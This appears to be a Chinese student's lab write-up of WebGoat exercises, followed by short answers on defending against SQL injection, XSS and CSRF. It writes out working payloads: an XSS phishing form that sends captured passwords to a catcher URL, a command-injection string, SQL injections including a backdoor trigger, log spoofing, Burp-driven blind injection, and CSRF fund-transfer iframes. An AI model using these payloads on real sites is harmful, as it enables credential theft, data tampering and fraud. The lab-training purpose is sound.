20155229《网络对抗技术》Exp9:Web安全基础
实验内容
- Webgoat实践下相关实验。
实验步骤
WebGoat: Webgoat是OWASP组织研究出的一个专门进行web漏洞实验的应用品台,这个平台里包含了web中常见的各种漏洞,例如:跨站脚本攻击、sql注入、访问控制、隐藏字段、Cookie等;
- 输入
java -jar webgoat-container-7.0.1-war-exec.jar
命令打开WebGoat
- 在浏览器上对WebGoat进行访问。
- 地址
localhost:8080/WebGoat
Cross-Site Scripting (XSS)
Phishing with XSS(钓鱼攻击)
- 在
search
部分填写一个页面,用于钓鱼
</form>
<script>
function hack(){
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert(".....your information was stolen by lsq! User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
}
</script>
<form name="phish">
<br>
<br>
<HR>
<H2>please input your information here:</H2>
<br>
<br>Enter Username:<br>
<input type="text" name="user">
<br>Enter Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
点击search后
随便输入用户名和密码
登陆后,会发现 页面填写的信息已经被捕获并且反馈回来显示在页面上。。
Stored XSS Attacks
XSS攻击代码存储于数据库中,每次当用户打开此网页时便会执行,危害大,常用语留言板,每次当用户查看留言信息时即触发。导致用户访问时载入非预期的页面或内容。
在Title中随便输入
在Message中输入
<script>alert(" you have been attacked by tvxq !!");</script>
- 点击
submit
创建帖子后:
- 点击上面的连接,攻击成功。
Reflected XSS Attacks(反射型XSS)
- 非持久化,需要欺骗用户自己去点击链接才能触发XSS代码(服务器中没有这样的页面和内容),一般容易出现在搜索页面。
- 当未验证的用户输入用在HTTP响应时会发生XSS。在一个反射XSS攻击中,攻击者可以使用攻击脚本制造一个URL,然后提交到另一个网站、发邮件或让受害者点击。
Injection Flaws
Command Injection
命令注入攻击对任何一个以参数驱动的站点来说都是一个严重威胁。这种攻击技术背后的技术方法,简单易学,能造成大范围的损害,危及系统安全。尽管这类风险数目令人难以置信,互联网中的系统很容易受到这种形式的攻击。
启动WebScarab。在课程页面的下拉列表中任意选择一个页面,然后点“View"
- 在所请求的页面处添加
"&netstat -an & ipconfig"
。然后再点击view进行查看。
- 查看到网络端口使用的情况和IP地址。
Numeric SQL Injection(数字型SQL注入)
在station字段中注入特征字符,能组合成新的SQL语句。
SELECT * FROM weather_data WHERE station=[station]
下面的表单允许用户查看天气数据。通过注入SQL字符串的方式查看所有的天气数据
选择一个城市,点“GO”
在编号后面添加“or 1=1”,确定
- 添加后点击GO,就能够看到所有城市的天气数据。
日志欺骗(Log Spoofing)
这种攻击时在日志文件中愚弄人的眼睛,攻击者可以利用这种方式清除他们在日志中的痕迹。
在Username输入
fyh%0d%0aLogin Succeeded for username: admin
,其中%0d是回车,%0a是换行符。
- 如图,攻击成功。
String SQL Injection
LAB: SQL Injection(SQL注入)
Stage1:String SQL Injection
使用SQL注入绕过认证。
以用户Neville登录,在密码栏中输入
' or 1=1 --
进行SQL注入,但是登录失败。使用inspect element查看了一下网页源码,发现输入框对输入的字符长度进行了限制,最多只允许输入8个字符,将8改为40
则可以登陆成功。
Stage3:Numeric SQL Injection
该课程的目的是通过注入语句,浏览到原本无法浏览的信息。通过一个普通员工的账户,浏览其BOSS的账户信息。
点击ViewProfile浏览员工信息
- 将员工信息的value值改为
101 or 1=1 order by salary desc --
- 这样根据工资高低的排名,老板的信息就会被排到第一个。
Database Backdoors(数据库后门)
- 输入101,得到了该用户的信息:
- 输入的语句没有验证,很容易进行SQL注入。若要执行两个语句,中间需要用分号分隔。输入注入语句
101;update employee set salary=90000
。
- 使用以下查询条件,添加触发器:
101;CREATE TRIGGER lsqBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='20155232@qq.com' WHERE userid = NEW.userid
Blind Numeric SQL Injection(数字型盲注入)
- 目标是找到pins表中cc_number字段值为1111222233334444的记录中pin字段的数值。pin字段类型为int,整型。
101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 10000 );
查看pin数值是否大于10000
一直尝试 5000、2500,到1250发现提示变为
账户有效
然后尝试2000、2250等
打开BurpSuite,设置代理proxy
的options
将端口号改为5229,点击add,ok
- 设置浏览器的代理,打开浏览器右侧的“更多”,依次点击preference->advanced->natwork->settings,选择下图所示代理,端口号为自己刚刚设置的端口号。
当于将burpsuite当成中间服务器,每个数据包都流过它。。返回题目,点击go,返回BurpSuite,已经抓好包。
在Positions中,选择Sniper模式,在Payloads中,选择type类型为number,然后设置变化范围2250-2500,并设置步长为1,在Options中,选择Start attack开始攻击。
找到数据包大小变化的值为2364
在WebGoat中带入2364,正确。
CSRF
Cross Site Request Forgery(CSRF)
- 可以通过在右边插入的参数中找到“屏幕”和“菜单”值来构建链接。当时被认证的CSRF邮件的收件人将转移他们的资金。当这一课的攻击成功时,左边的菜单旁边出现一个绿色的复选标记。
在message中输入
<img src='attack?Screen=273&menu=900&transferFunds=5000' width='1' height='1'>
screen的值和menu的值是由上图得到的。然后通过宽高设置成1像素,隐藏掉这个图片。
- 提交后会在消息列表中看到新的消息,点击后
- 会加载下面这条消息,达到CSRF攻击的目的。
CSRF Prompt By-Pass
- 在Title输入:5229
- 在Message输入:
<iframe
src="attack?Screen=273&menu=900&transferFunds=5000"
id="myFrame" frameborder="1" marginwidth="0"
marginheight="0" width="800" scrolling=yes height="300"
onload="document.getElementById('frame2').src='attack?Screen=280&menu=900&transferFunds=CONFIRM';">
</iframe>
<iframe
id="frame2" frameborder="1" marginwidth="0"
marginheight="0" width="800" scrolling=yes height="300">
</iframe>
- 得到如下结果:
实验后问题回答
(1)SQL注入攻击原理,如何防御
原理:
利用现有应用程序,将恶意的SQL命令注入到后台数据库引擎执行的能力。通过在Web表单中输入恶意SQL语句得到一个存在安全漏洞的网站上的数据库,最终达到欺骗服务器执行恶意的SQL命令。
防御:
以SQL注入为例,可以通过JAVA中的绑定变量等方法进行预防,JAVA的绑定变量方法是吧用户的输入作为一种变量,对SQL语句进行预编译,这样在执行时就不是顺序执行,而是把输入作为一种变量进行处理,不会在运行时进行动态的拼接SQL语句,防止了恶意的攻击代码被写入SQL语句进行解析和执行。
(2)XSS攻击的原理,如何防御
原理:
XSS攻击是Web攻击中最常见的攻击方法之一,它是通过对网页注入可执行代码且成功地被浏览器
执行,达到攻击的目的,形成了一次有效XSS攻击,一旦攻击成功,它可以获取用户的联系人列
表,然后向联系人发送虚假诈骗信息,可以删除用户的日志等等。
防御:
- 在表单提交或者url参数传递前,对需要的参数进行过滤。
- 过滤用户输入的检查用户输入的内容中是否有非法内容。如<>(尖括号)、”(引号)、 ‘(单引号)、%(百分比符号)、;(分号)、()(括号)、&(& 符号)、+(加号)等。严格控制输出
(3)CSRF攻击原理,如何防御
原理:
CSRF就是冒名登录。跨站请求伪造的核心本质是窃取用户的Session,或者说Cookie,因为目前主流情况Session都是存在Cookie中.攻击者并不关心被害者具体帐号和密码,因为一旦用户进行了登录,Session就是用户的唯一凭证,只要攻击者能够得到Session,就可以伪装成被害者进入服务器.
防御:
- 验证HTTP Referer字段。
- 在请求地址中添加token并验证。
- 在HTTP头中自定义属性并验证。
实验总结与体会
- 这次实验是在上一个实验的基础上更加深入的理解SQL和XSS攻击,虽然攻击的方法多,但是都是很有意思的攻击方法,有机会再试试没做过的题目。
20155229《网络对抗技术》Exp9:Web安全基础的更多相关文章
- 20145226夏艺华 网络对抗技术 EXP9 web安全基础实践
20145226夏艺华 网络对抗技术 EXP9 web安全基础实践 !!!免考项目:wannacry病毒分析+防护 一.实验后回答问题 SQL注入攻击原理,如何防御 攻击原理 "SQL注入& ...
- 2018-2019-2 20165205 网络对抗技术 Exp9 Web安全基础
2018-2019-2 20165205 网络对抗技术 Exp9 Web安全基础 1.基础问题 SQL注入攻击原理,如何防御 原理: SQL注入指攻击者在提交查询请求时将SQL语句插入到请求内容中,同 ...
- 20155208徐子涵《网络对抗》Exp9 Web安全基础
20155208徐子涵<网络对抗>Exp9 Web安全基础 实验要求 本实践的目标理解常用网络攻击技术的基本原理.Webgoat实践下相关实验. 实验过程 最后一次了,没有选择尝试免考项目 ...
- 20145208 蔡野 《网络对抗》Exp9 web安全基础实践
20145208 蔡野 <网络对抗>Exp9 web安全基础实践 本实践的目标理解常用网络攻击技术的基本原理.Webgoat实践下相关实验. 实验后回答问题 (1)SQL注入攻击原理,如何 ...
- #20155232《网络对抗》Exp9 Web安全基础
20155232<网络对抗>Exp9 Web安全基础 本实践的目标理解常用网络攻击技术的基本原理.Webgoat实践下相关实验. 实验过程 WebGoat Webgoat是OWASP组织研 ...
- 20155302《网络对抗》Exp9 Web安全基础
20155302<网络对抗>Exp9 Web安全基础 实验内容 本实践的目标理解常用网络攻击技术的基本原理.Webgoat实践下相关实验. 实验过程 1.webgoat的安装启动 使用自己 ...
- 20155308《网络对抗》Exp9 Web安全基础实践
20155308<网络对抗>Exp9 Web安全基础实践 本实践的目标理解常用网络攻击技术的基本原理.Webgoat实践下相关实验. 基础问题回答 SQL注入攻击原理,如何防御? 原理:攻 ...
- 20155323刘威良《网络对抗》Exp9 Web安全基础
20155323刘威良<网络对抗>Exp9 Web安全基础 实践目的 理解常用网络攻击技术的基本原理. 实践内容 Webgoat实践下相关实验. 实践过程 开启WebGoat WebGoa ...
- 20145301赵嘉鑫 《网络对抗》Exp9 Web安全基础实践
20145301赵嘉鑫 <网络对抗>Exp9 Web安全基础实践 实验后回答问题 (1)SQL注入攻击原理,如何防御 SQL注入攻击原理:SQL 是一门 ANSI 的标准计算机语言,用来访 ...
- 20145233《网络对抗》Exp9 Web安全基础实践
20145233<网络对抗>Exp9 Web安全基础实践 实验问题思考 SQL注入攻击原理,如何防御? SQL注入攻击就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符 ...
随机推荐
- ArcGIS三种方式打断相交线------Feature To Line工具
有多个layer图层相交线时,选用”Feature To Line“工具,将多个图层相交线打断,然后合并成一个图层. (1) 选择工具栏”Geoprocessing“中的”ArcToolb ...
- 如何在单元测试时隔离ORM
在项目中需要对DAL层进行单元测试,如果直接操作数据库,首先测试速度会大大下降,而且让单元测试直接使用外部依赖,很可能带来后续维护的不便,所以有必要对数据库隔离,然后单独测试DAL层.由于使用了ORM ...
- 字符串匹配常见算法(BF,RK,KMP,BM,Sunday)
今日了解了一下字符串匹配的各种方法. 并对sundaysearch算法实现并且单元. 字符串匹配算法,是在实际工程中经常遇到的问题,也是各大公司笔试面试的常考题目.此算法通常输入为原字符串(strin ...
- Android Fragment的用法(二)
如果你经常使用平板电脑,应该会发现很多的平板应用现在都采用的是双页模式(程序会在左侧的面板上显示一个包含子项的列表,在右侧的面板上显示内容),因为平板电脑的屏幕足够大,完全可以同时显示下两页的内容,但 ...
- markdown简单常用语法
一.标题(符号要和文字之间加上一个字符的空格)# 一级标题## 二级标题### 三级标题#### 四级标题##### 五级标题###### 六级标题二.列表(符号要和文字之间加上一个字符的空格)有序列 ...
- 留言板0.4_model中的数据库(2)
今天就讲讲:如何将后台数据呈现在HTML页面中,以及url配置时的两点技巧吧. 1.首先在"views.py"中提取出后台数据 def getform(request): mess ...
- idea常规设置
java开发目前很多都是使用IntelliJ IDEA这款神器.废话不多说,官网地址:https://www.jetbrains.com/idea/ 我一直都是保持最新版本,安装之后注册. 首先需要安 ...
- .NET笔试题集(四)
转载于:http://www.cnblogs.com/ForEvErNoME/archive/2012/09/10/2678727.html 1.请你简单的说明数据库建立索引的优缺点 使用索引可以加快 ...
- sqlite 字符串拼接
select path || '%' from t_category where depth = 0 and type = 0 用'||'拼接字符串 比如path是/1001/的话 那结果就是/10 ...
- 转:C#综合揭秘——细说多线程(上)
原文地址:http://www.cnblogs.com/leslies2/archive/2012/02/07/2310495.html 引言 本文主要从线程的基础用法,CLR线程池当中工作者线程与I ...